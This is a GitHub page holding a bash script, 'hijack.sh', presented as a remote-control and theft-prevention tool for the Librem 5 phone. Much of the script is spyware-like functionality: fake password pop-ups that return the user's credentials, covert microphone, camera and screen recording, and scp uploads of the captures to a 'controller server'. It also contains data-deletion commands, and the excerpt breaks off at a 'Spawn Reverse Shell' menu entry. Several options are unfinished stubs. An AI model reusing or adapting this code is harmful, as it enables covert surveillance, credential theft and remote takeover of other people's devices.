-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhijack.sh
executable file
·1154 lines (1098 loc) · 50.5 KB
/
hijack.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# ..................
[[ `id -u` -eq 0 ]] || { echo -e "\e[31mYou must be root to start your Hot Jones Hijack"; exit 1; }
resize -s 150 150
clear # Clear the screen.
#SERVICE=Postgresql;
secs=$(date '+%S');
#if service postgresql status | grep -v grep | grep running > /dev/null
#then
#echo "$SERVICE service running"
#else
#echo "$SERVICE is not running, Starting service."
#service postgresql start
#fi
#SERVICE1=Metasploit;
#if ps ax | grep -v grep | grep metasploit > /dev/null
#then
#echo "$SERVICE1 service running"
#else
#echo "$SERVICE1 is not running, Starting service."
#service metasploit start
#fi
mkdir ~/Desktop/temp
clear
clear
echo -e "\E[1;34m======================================="
echo -e "\E[1;34m========== \e[97mHot Jones Hijack \E[1;34m==========="
echo -e "\E[1;34m: \e[97mRemote Control/Theft Prevention Tool\E[1;34m:"
echo -e "\E[1;34m:\e[97m Brought to you by 3/\/ | G /\/\ /-\ \E[1;34m:"
echo -e "\E[1;34m======================================="
read -p "Press [Enter] key to Continue..."
clear
echo -e "\E[1;34m==\e[97mHot Jones Hijack - For The Librem 5\E[1;34m=="
if [ 0 -le $secs ] && [ $secs -le 14 ];
then
cat << "EOF"
) (
( ) )
) ( (
o8Oo.)
_o8o8O8o_
.-'---------|
( C| Hot |
'-. Jones |
'_________'
'-------'
EOF
elif [ 15 -le $secs ] && [ $secs -le 30 ];
then
cat << "EOF"
) (
( ) )
) ( (
o8Oo.)
_o8o8O8o_
.-'---------|
( C| Hot |
'-. Jones |
'_________'
'-------'
EOF
elif [ 31 -le $secs ] && [ $secs -le 45 ];
then
cat << "EOF"
) (
( ) )
) ( (
o8Oo.)
_o8o8O8o_
.-'---------|
( C| Hot |
'-. Jones |
'_________'
'-------'
EOF
elif [ 46 -le $secs ] && [ $secs -le 57 ];
then
cat << "EOF"
) (
( ) )
) ( (
o8Oo.)
_o8o8O8o_
.-'---------|
( C| Hot |
'-. Jones |
'_________'
'-------'
EOF
else
cat << "EOF"
:::
:: :::.
\/, .:::::
\), \`-._ :::888
/\ \ `-. ::88888
/ \ | .( ::88
/,. \ ; ( ` .:8888
), \ / ;`` :::888
/_ \ __/_(_ :88
`. ,`..-' `-._ \ / :8
)__ `. `._ .\/.
/ `. ` `-._______m _,
,-=====-.-;' , ___________/ _,-_,'"`/__,-.
C =-- ; `.`._ V V V -=-'"#==-._
:, \ ,| VvVv _,......__ `-.__A_A_ -. ._ ,--._ ",`` `-
|| |`---' : vVvVv,' `'--...____/ `" `". `
|` : \ VvVv:
: / \ VvVv`-._
\(_ `._ vVvVv `-.
(_3 `._ vVv `._
``-._ `.
`-._ `.
`. \
) ;
/ /
`. |\ ,' /
",_A_/\-| ` ,'
`--..,_|_,-'\
| \
| \__
|__
EOF
fi
tput sgr0 #
echo -e "\e[31m________[ \e[97mChoose Your Options \e[31m]________"
echo -e "\E[1;34m:::::::::::::::::::::::::::::::::::::::"
echo -e "\E[1;34m=\e[97m[1] \e[36mSend A Message \e[97m[MESSAGE TO SCREEN]\E[1;34m"
tput sgr0 # Reset colors to "normal."
echo -e "\E[1;34m:\e[97m[2] \e[32mHardware Controls\e[97m [TURN ON/OFF]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[3] \e[34mSounds\e[97m [ALARM & VOLUME CONTROLS]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[4] \e[95mLocation\e[97m [PULL GPS DATA]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[5] \e[31mDevice Details \e[97m [PULL DEVICE INFO]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[6] \e[36mAccess Controls \e[97m [LOCK & UNLOCK]\E[1;34m"
tput sgr0 # Reset attributes.
echo -e "\E[1;34m=\e[97m[7] \e[32mSituational Awareness\e[97m [MIC & CAM]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[8] \e[34mUser Awareness\e[97m [SCREEN, LOGS, D/L]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[9] \e[95mWipe Device\e[97m [GONNA HAVE TO JUMP..]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[10]\e[31mRemote Use\e[97m [SHELLS, SEND COMMS]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[11]\e[36mApps & Services\e[97m [LIST, START/STOP]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[12]\e[32mReboot \e[97m [REBOOT DEVICE]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[13]\e[34mDependency Checker\e[97m [DEPENDENCIES]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:\e[97m[14]\e[95mClient Connector\e[97m [LINK GENERATOR]\E[1;34m"
tput sgr0
echo -e "\E[1;34m=\e[97m[0] \e[31mExit \e[97m [EXIT]\E[1;34m"
tput sgr0
echo -e "\E[1;34m:::::::::::::::::::::::::::::::::::::::"
echo -e "\e[97m~\e[31mProps to Puri.sm for their dedication\e[97m~\e[31m"
tput sgr0
read options
case "$options" in
# Note variable is quoted.
"1" | "1" )
# Accept upper or lowercase input.
echo -e "\E[1;34m::::: \e[97mSend A Message / Raise A Pop Up Window \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 12=Main Menu | 13=QUIT: '
options=("Password Pop Up Box" "Warning Pop Up Box" "Error Pop Up Box" "List Of Options Pop Up Box" "Entry Pop Up Box" "Info Pop Up Box" "Notification Bubble Pop Up Box" "Progress Bar Pop Up Box" "YES/NO Question Pop Up Box" "Scale Pop Up Box" "Text Info/Image Pop Up Box" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Password Pop Up Box")
echo -e "\E[1;34m::::: \e[97mUsername|Password Will Be Displayed In Terminal Once Entered By User\E[1;34m:::::"
zenity --display=:0 --username --password
echo -e "\E[1;34m::::: \e[97mPassword Pop Up Has Been Displayed\E[1;34m:::::"
;;
"Warning Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --warning --text=\"$usertext\" --ellipsize
echo -e "\E[1;34m::::: \e[97mWarning Message Has Been Displayed\E[1;34m:::::"
;;
"Error Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --error --text=\"$usertext\" --ellipsize
echo -e "\E[1;34m::::: \e[97mError Message Has Been Displayed\E[1;34m:::::"
;;
"List Of Options Pop Up Box")
read -p 'Set Text: ' usertext; read -p 'Set Column: ' usercol; read -p 'Set Option 1: ' userop1; read -p 'Set Option 2: ' userop2; read -p 'Set Option 3: ' userop3;
export DISPLAY=:0 && zenity --list --text=\"$usertext\" --column=\"$usercol\": \"$userop1\" \"$userop2\" \"$userop3\"
echo -e "\E[1;34m::::: \e[97mDialog Box Sent. User's Selection Will Return In Terminal\E[1;34m:::::"
;;
"Entry Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --entry --text=\"$usertext\"
echo -e "\E[1;34m::::: \e[97mEntry Message Box Has Been Displayed. User's Input Will Return In Terminal\E[1;34m:::::"
;;
"Info Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --info --text=\"$usertext\"
echo -e "\E[1;34m::::: \e[97mInfo Message Has Been Displayed\E[1;34m:::::"
;;
"Notification Bubble Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --notification --text=\"$usertext\"
echo -e "\E[1;34m::::: \e[97mNotification Bubble Pop Up Has Been Sent\E[1;34m:::::"
;;
"Progress Bar Pop Up Box")
read -p 'Set Text: ' usertext;
zenity --display=:0 --progress --text=\"$usertext\"; --pulsate --no-cancel
echo -e "\E[1;34m::::: \e[97mPulsate Progress Bar Pop Up Has Been Sent\E[1;34m:::::"
;;
"YES/NO Question Pop Up Box")
echo -e "\E[1;34m::::: \e[97mUser's Response Will NOT Be Returned In Terminal\E[1;34m:::::"
read -p 'Set Text: ' usertext;
zenity --display=:0 --question --text=\"$usertext\"; --ellipsize
echo -e "\E[1;34m::::: \e[97mQuestion Pop Up Has Been Sent\E[1;34m:::::"
;;
"Scale Pop Up Box")
echo -e "\E[1;34m::::: \e[97mPresents User With A Slider Scale. They Can Select Any Number In Your Set Range.\E[1;34m:::::"
read -p 'Set Text: ' usertext; read -p 'Set Initial Value: ' userval; read -p 'Set Minimum Value: ' usermin; read -p 'Set Maximum Value: ' usermax;
zenity --display=:0 --scale --text=\"$usertext\" --value=$userval --min-value=$usermin --max-value=$usermax
echo -e "\E[1;34m::::: \e[97mScale Pop Ip Has Been Displayed. User's Input Will Return In Terminal.\E[1;34m:::::"
;;
"Text Info/Image Pop Up Box")
echo -e "\E[1;34m::::: \e[97mSet URL To Any Image You Want To Display\E[1;34m:::::"
read -p 'Set Checkbox Text: ' usertext; read -p 'Set URL To Load: ' userurl;
zenity --display=:0 --text-info --editable --checkbox=\"$usertext\" --html --auto-scroll --url=$userurl
echo -e "\E[1;34m::::: \e[97mText Info/Image Pop Up Has Been Sent. Any User Input Will Return In Terminal.\E[1;34m:::::"
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"2" | "2" )
echo -e "\E[1;34m::::: \e[97mHardware Controls \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97mChoose \"List Hardware\" To Identify The \"id=#\" Of Each Hardware Device \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mHardware Output Will Echo To Screen & Be Captured In ~/HotJones/Hardware_List.txt \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 10=Main Menu | 11=QUIT: '
options=("List Hardware" "Disable Device" "Enable Device" "Enable Bluetooth" "Disable Bluetooth" "Enable WiFi" "Disable WiFi" "Enable WiFi Hotspot" "Disable WiFi Hotspot" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"List Hardware")
xinput list | tee -a ~/HotJones/Hardware_List.txt
;;
"Disable Device")
read -p 'Set Hardware id= Number: ' userid;
xinput set-prop $userid "Device Enabled" 0
;;
"Enable Device")
read -p 'Set Hardware id= Number: ' userid;
xinput set-prop $userid "Device Enabled" 1
;;
"Enable Bluetooth")
rfkill unblock bluetooth
;;
"Disable Bluetooth")
rfkill block bluetooth
;;
"Enable WiFi")
ifconfig wlan0 up
;;
"Disable WiFi")
ifconfig wlan0 down
;;
"Enable WiFi Hotspot")
read -p 'Set Wireless Network Name: ' username; read -p 'Set Wireless Network Password: ' userpw;
nmcli device wifi hotspot con-name $username ssid $username band bg password $userpw
#not sure aobut this command
#look into using hostapd
;;
"Disable WiFi Hotspot")
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"3" | "3" )
echo -e "\E[1;34m::::: \e[97mSounds & Alarms \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 8=Main Menu | 9=QUIT: '
options=("Set Off Full Volume Alarm" "Set Master Volume" "Set Volume Percentage" "Set Max Volume" "Increase Volume By Desired Amount" "Decrease Volume By Desired Amount" "Toggle Volume Mute" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Set Off Full Volume Alarm")
amixer sset 'Master' 100%
rhythmbox ~/HotJones/BOMB_SIREN.wav
sleep 30
amixer sset 'Master' 100%
rhythmbox ~/HotJones/BOMB_SIREN.wav
;;
"Set Master Volume")
echo "This Only Needs To Be Done ONCE On Each Device Before These Controls Are Used!"
amixer scontrols
;;
"Set Volume Percentage")
read -p 'Set Volume Percentage Number (i.e., 50): ' uservol;
amixer sset 'Master' $uservol%
;;
"Set Max Volume")
amixer sset 'Master' 100%
;;
"Increase Volume By Desired Amount")
read -p 'Increase Volume Percentage By (i.e., 3): ' uservol;
amixer -q sset Master $uservol%+
;;
"Decrease Volume By Desired Amount")
read -p 'Decrease Volume Percentage By (i.e., 3): ' uservol;
amixer -q sset Master $uservol%-
;;
"Toggle Volume Mute")
echo "Running This Option Will Toggle Mute On & Off"
amixer -q sset Master toggle
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"4" | "4" )
echo -e "\E[1;34m::::: \e[97mLocation \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Get Current GPS Location Data" "Enable GPS" "BLAH" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Get Current GPS Location Data")
;;
"Enable GPS")
read -p 'Set Hardware id= Number: ' userid;
;;
"BLAH")
read -p 'Set Hardware id= Number: ' userid;
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"5" | "5" )
echo -e "\E[1;34m::::: \e[97mDevice Details \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 2=Main Menu | 3=QUIT: '
options=("Dump Device Details" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Dump Device Details")
rm ~/HotJones/Device_Details.txt
uname -nvrma | tee -a ~/HotJones/Device_Details.txt
sudo lshw | tee -a ~/HotJones/Device_Details.txt
lscpu | tee -a ~/HotJones/Device_Details.txt
lsblk | tee -a ~/HotJones/Device_Details.txt
lsusb | tee -a ~/HotJones/Device_Details.txt
lspci | tee -a ~/HotJones/Device_Details.txt
sudo dmesg | tee -a ~/HotJones/Device_Details.txt
sudo fdisk -l | tee -a ~/HotJones/Device_Details.txt
sudo dmidecode | tee -a ~/HotJones/Device_Details.txt
sudo dmidecode -t memory | tee -a ~/HotJones/Device_Details.txt
#sudo dmidecode -t system | tee -a ~/HotJones/Device_Details.txt
#sudo dmidecode -t bios | tee -a ~/HotJones/Device_Details.txt
sudo dmidecode -t processor | tee -a ~/HotJones/Device_Details.txt
echo -e "\E[1;34m::::: \e[97mAll Device Details Captured In ~/HotJones/Device_Details.txt \E[1;34m:::::"
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"6" | "6" )
echo -e "\E[1;34m::::: \e[97mAccess Controls \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 5=Main Menu | 6=QUIT: '
options=("Lock Screen" "Unlock Screen" "Lock Device - Disable Screen Inputs" "Unlock Device - Enable Screen Inputs" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Lock Screen")
DISPLAY=:0 gnome-screensaver-command -l
;;
"Unlock Screen")
DISPLAY=:0 gnome-screensaver-command -d
;;
"Lock Device - Disable Screen Inputs")
;;
"Unlock Device - Enable Screen Inputs")
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"7" | "7" )
echo -e "\E[1;34m::::: \e[97mSituational Awareness \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Record Mic Audio" "" "" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Record Mic Audio")
read -p 'Set Record For X Number Of Seconds (this must be done in fifths, i.e. 100=20 seconds): ' usersec;
file=`date '+%Y_%m_%d__%H_%M_%S'`
arecord -vv -f S16_LE --duration=$usersec --device=hw:1,0 ~/HotJones/Rec$file.wav
#--duration=100=20secs, not sure why the seconds aren't being counted right in PureOS
#--device=hw:1,0 will likely need to be changed to --device=hw:0,0 on the Librem 5 once released. Current setting works in PureOS VM.
echo -e "\E[1;34m::::: \e[97mRecording Saved To ~/HotJones/Rec\E[1;34m"$file"\E[1;34m.wav \E[1;34m:::::"
echo ""
sleep $usersec
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/Rec$file.wav $username@$usermachine:$userpath
;;
"Front Cam Picture")
file=`date '+%Y_%m_%d__%H_%M_%S'`
read -p 'Set Number Of Frames To Capture: ' userframes;
mplayer tv:// -frames $userframes -vo jpeg ~/HotJones/FCRec$file
#mplayer tv:// -tv driver=v4l:device=/dev/video0:width=320:height=240:outfmt=rgb24 -frames 1 -vo jpeg
#Mplayer will save a file 000000001.jpg with a snapshot. Mplayer uses ffmpeg to do the conversion, so you will usually need the ffmpeg suite installed too.
#need to figure out the right driver=v4l:device=/dev/video0 settings for both cameras
echo -e "\E[1;34m::::: \e[97mPicture Saved To ~/HotJones/FCPic\E[1;34m"$file"\E[1;34m \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/FCRec$file $username@$usermachine:$userpath
;;
"Back Cam Picture")
file=`date '+%Y_%m_%d__%H_%M_%S'`
read -p 'Set Number Of Frames To Capture: ' userframes;
mplayer tv:// -frames $userframes -vo jpeg ~/HotJones/BCRec$file
#need to know how to select 2nd camera for picture
echo -e "\E[1;34m::::: \e[97mPicture Saved To ~/HotJones/BCPic\E[1;34m"$file"\E[1;34m \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/BCRec$file $username@$usermachine:$userpath
;;
"Record Front Cam Video")
read -p 'Set Record For X Number Of Seconds: ' usersec;
file=`date '+%Y_%m_%d__%H_%M_%S'`
ffmpeg -re -f video4linux2 -t $usersec -i /dev/video0 ~/HotJones/FCRec$file
echo -e "\E[1;34m::::: \e[97mRecording Saved To ~/HotJones/FCRec\E[1;34m"$file"\E[1;34m \E[1;34m:::::"
echo ""
sleep $usersec
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/FCRec$file $username@$usermachine:$userpath
;;
"Record Back Cam Video")
read -p 'Set Record For X Number Of Seconds: ' usersec;
file=`date '+%Y_%m_%d__%H_%M_%S'`
ffmpeg -re -f video4linux2 -t $usersec -i /dev/video1 ~/HotJones/FCRec$file
#/dev/video1 device needs to be verified on Librem 5
echo -e "\E[1;34m::::: \e[97mRecording Saved To ~/HotJones/BCRec\E[1;34m"$file"\E[1;34m \E[1;34m:::::"
echo ""
sleep $usersec
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/BCRec$file $username@$usermachine:$userpath
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"8" | "8" )
echo -e "\E[1;34m::::: \e[97mUser Awareness \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97mCheck In On User Interactions \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mGrab Files From Librem 5 \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 6=Main Menu | 7=QUIT: '
options=("Grab Scrrenshot" "Perform Screen Capture" "Grab Call Logs" "Grab SMS Logs" "Push File From Librem 5 To Controller Server with SCP - Creds Required" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Grab Screenshot")
file=`date '+%Y_%m_%d__%H_%M_%S'`
gnome-screenshot -f ~/HotJones/Screenshot$file.png --display=:0
echo -e "\E[1;34m::::: \e[97mScreenshot Captured In ~/HotJones/Screenshot\E[1;34m"$file"\E[1;34m.png \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ~/HotJones/Screenshot$file.png $username@$usermachine:$userpath
;;
"Perform Screen Capture")
read -p 'Set Capture For X Number Of Seconds: ' usersec;
file=`date '+%Y_%m_%d__%H_%M_%S'`
recordmydesktop -o ScCap_$file --no-sound --on-the-fly-encoding --no-frame & sleep $usersec; kill
echo -e "\E[1;34m::::: \e[97mScreen Capture File Located In ~/HotJones/ScCap_\E[1;34m"$file"\E[1;34m.ogv \E[1;34m:::::"
echo ""
sleep $usersec
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp ScCap_$file $username@$usermachine:$userpath
;;
"Grab Call Logs")
read -p 'Set blah: ' userblah;
#command
echo ""
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp <Call_Log.file> $username@$usermachine:$userpath
;;
"Grab SMS Logs")
read -p 'Set blah: ' userblah;
#command
echo ""
echo -e "\E[1;34m::::: \e[97mPreparing To Send The Output File To Your Controller Server... \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97mMake Sure SSH Server Is Started On Your Controller Server To Receive File \E[1;34m.wav \E[1;34m:::::"
read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp <SMS_Log.file> $username@$usermachine:$userpath
;;
"Push File From Librem 5 To Controller Server with SCP - Creds Required")
read -p 'Enter Local File On Librem 5 Including Full Path: ' userfile; read -p 'Enter Username On Controller Server: ' username; read -p 'Enter Controller Server Name / IP: ' usermachine; read -p 'Enter File Destination Full Path on Controller Server: ' userpath;
scp $userfile $username@$usermachine:$userpath
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"9" | "9" )
echo -e "\E[1;34m::::: \e[97mWipe Device \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m**WARNING** This Will WIPE Your Device / SD Card \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 4=Main Menu | 5=QUIT: '
options=("Wipe SD Card" "Wipe Device" "Wipe Specific File/Folder" "Main Menu" "Quit")
select opt in "${options[@]}"
do
case $opt in
"Wipe SD Card")
;;
"Wipe Device")
read -p 'Set Hardware id= Number: ' userid;
;;
"Wipe Specific File/Folder")
read -p 'Set Folder/File To Be Deleted (/path/to/folder/file): ' userdel;
rm -rf $userdel
;;
"Main Menu")
~/HotJones/hijack.sh
;;
"Quit")
echo "PREEEOOOOWWWWWWWW" && exit 1
;;
*) echo invalid option;;
esac
done
;;
"10" | "10" )
echo -e "\E[1;34m::::: \e[97mRemote Use \E[1;34m:::::"
echo ""
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
echo -e "\E[1;34m::::: \e[97m \E[1;34m:::::"
PS3='Enter your choice: ENTER=Options Menu | 5=Main Menu | 6=QUIT: '
options=("Spawn Reverse Shell" "Initiate Call" "Send SMS" "Send IM/Matrix" "Main Menu" "Quit")
